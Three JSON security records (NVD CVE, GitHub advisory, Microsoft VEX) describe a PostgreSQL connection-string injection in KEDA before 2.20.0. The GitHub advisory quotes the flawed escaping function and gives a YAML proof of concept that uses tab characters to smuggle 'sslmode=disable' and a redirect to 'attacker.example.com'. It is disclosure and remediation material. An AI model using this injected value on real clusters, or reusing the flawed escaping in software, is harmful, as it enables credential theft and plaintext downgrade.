{
  "affected": [
    {
      "affectedData": [
        {
          "product": "keda",
          "vendor": "kedacore",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.20.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0."
    }
  ],
  "id": "CVE-2026-53572",
  "lastModified": "2026-08-25T18:17:55.520",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-53572",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-25T17:13:16.119842Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-21T21:16:59.957",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kedacore/keda/commit/703de9dec86cb25b6ecfa4948880a90487344d3f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kedacore/keda/issues/7784"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kedacore/keda/pull/7787"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kedacore/keda/releases/tag/v2.20.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-74"
        },
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kedacore/keda/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:44:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n    if !strings.Contains(str, \" \") {\n        return str       // returned as-is for any non-space whitespace\n    }\n    str = strings.ReplaceAll(str, \"\u0027\", \"\\\\\u0027\")\n    return fmt.Sprintf(\"\u0027%s\u0027\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155\u2013164 and 250\u2013257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only \u2014 silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration \u2014 injected `host=` still redirects the subsequent `password=` keyword\u0027s target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n  metadata:\n    host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n    port: \"5432\"\n    userName: \"keda\"\n    dbName: \"metrics\"\n    sslmode: \"require\"\n    query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space \u2192 returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING",
  "id": "GHSA-6w3m-4hhp-775q",
  "modified": "2026-07-07T23:44:13Z",
  "published": "2026-07-07T23:44:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kedacore/keda"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping"
}

{
  "document": {
    "category": "csaf_vex",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Public",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en-US",
    "notes": [
      {
        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "secure@microsoft.com",
      "name": "Microsoft Security Response Center",
      "namespace": "https://msrc.microsoft.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "CVE-2026-53572 KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping - VEX",
        "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-53572.json"
      },
      {
        "category": "external",
        "summary": "Microsoft Support Lifecycle",
        "url": "https://support.microsoft.com/lifecycle"
      },
      {
        "category": "external",
        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
      }
    ],
    "title": "KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping",
    "tracking": {
      "current_release_date": "2026-08-24T14:43:43.000Z",
      "generator": {
        "date": "2026-08-25T07:02:58.275Z",
        "engine": {
          "name": "MSRC Generator",
          "version": "1.0"
        }
      },
      "id": "msrc_CVE-2026-53572",
      "initial_release_date": "2026-08-23T01:03:01.000Z",
      "revision_history": [
        {
          "date": "2026-08-23T01:03:01.000Z",
          "legacy_version": "1",
          "number": "1",
          "summary": "Information published."
        },
        {
          "date": "2026-08-24T14:43:43.000Z",
          "legacy_version": "2",
          "number": "2",
          "summary": "Information published."
        }
      ],
      "status": "final",
      "version": "2"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "3.0",
                "product": {
                  "name": "Azure Linux 3.0",
                  "product_id": "17084"
                }
              }
            ],
            "category": "product_name",
            "name": "Azure Linux"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "azl3 keda 0:2.14.1-16.azl3",
                "product": {
                  "name": "azl3 keda 0:2.14.1-16.azl3",
                  "product_id": "1"
                }
              }
            ],
            "category": "product_name",
            "name": "keda"
          }
        ],
        "category": "vendor",
        "name": "Microsoft"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "azl3 keda 0:2.14.1-16.azl3 as a component of Azure Linux 3.0",
          "product_id": "17084-1"
        },
        "product_reference": "1",
        "relates_to_product_reference": "17084"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-53572",
      "cwe": {
        "id": "CWE-74",
        "name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)"
      },
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
      ],
      "product_status": {
        "known_affected": [
          "17084-1"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "CVE-2026-53572 KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-53572.json"
        }
      ],
      "remediations": [
        {
          "category": "none_available",
          "date": "2026-08-23T01:03:01.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17084-1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "temporalScore": 5.9,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "17084-1"
          ]
        }
      ],
      "title": "KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping"
    }
  ]
}